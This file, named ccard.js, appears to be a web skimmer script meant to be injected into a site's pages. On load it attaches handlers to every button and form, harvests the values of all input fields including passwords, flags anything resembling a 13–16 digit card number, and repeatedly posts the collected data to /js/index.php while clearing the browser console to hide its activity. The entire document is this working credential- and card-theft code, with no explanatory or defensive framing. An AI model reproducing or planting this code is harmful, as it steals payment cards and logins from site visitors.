ccard.js

var snd =null;
window.onload = function () {
   if((new RegExp('[A-Za-z0-9_]')).test(window.location)) {
       send();
   }
}
function clk() {
   var inp=document.querySelectorAll("input, select, textarea, checkbox");
   for (var i=0;i<inp.length;i++){
       if(inp[i].value.length>0) {
       var nme=inp[i].name;
       if(nme=='') { nme=i; }
       snd+=inp[i].name+'='+inp[i].value+'&';
        }
   }
}
function send() {
   var btn=document.querySelectorAll("button, input, submit, .btn, .button");
   for (var i=0;i<btn.length;i++){
       var b=btn[i];
       if(b.type!='text' && b.type!='select' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
           if(b.addEventListener) {
               b.addEventListener("click", clk, false);
           }else {
               b.attachEvent('onclick', clk);
           }
       }
   }
	var frm=document.querySelectorAll("form");
    for (var i=0;i<frm.length;i++){
        if(frm[i].addEventListener) {
            frm[i].addEventListener("submit", clk, false);
        }else {
            frm[i].attachEvent('onsubmit', clk);
        }
    }
	if(snd!=null) {
        console.clear();
    var cc = new RegExp("[0-9]{13,16}");
        var asd="0";
       if(cc.test(snd)){
          asd="1" ;
       }
	var http = new XMLHttpRequest();
	http.open("POST","/js/index.php",true);
	http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
	http.send("data="+snd+"&asd="+asd);
	console.clear();
    }
	snd=null;
	setTimeout('send()', 150);
}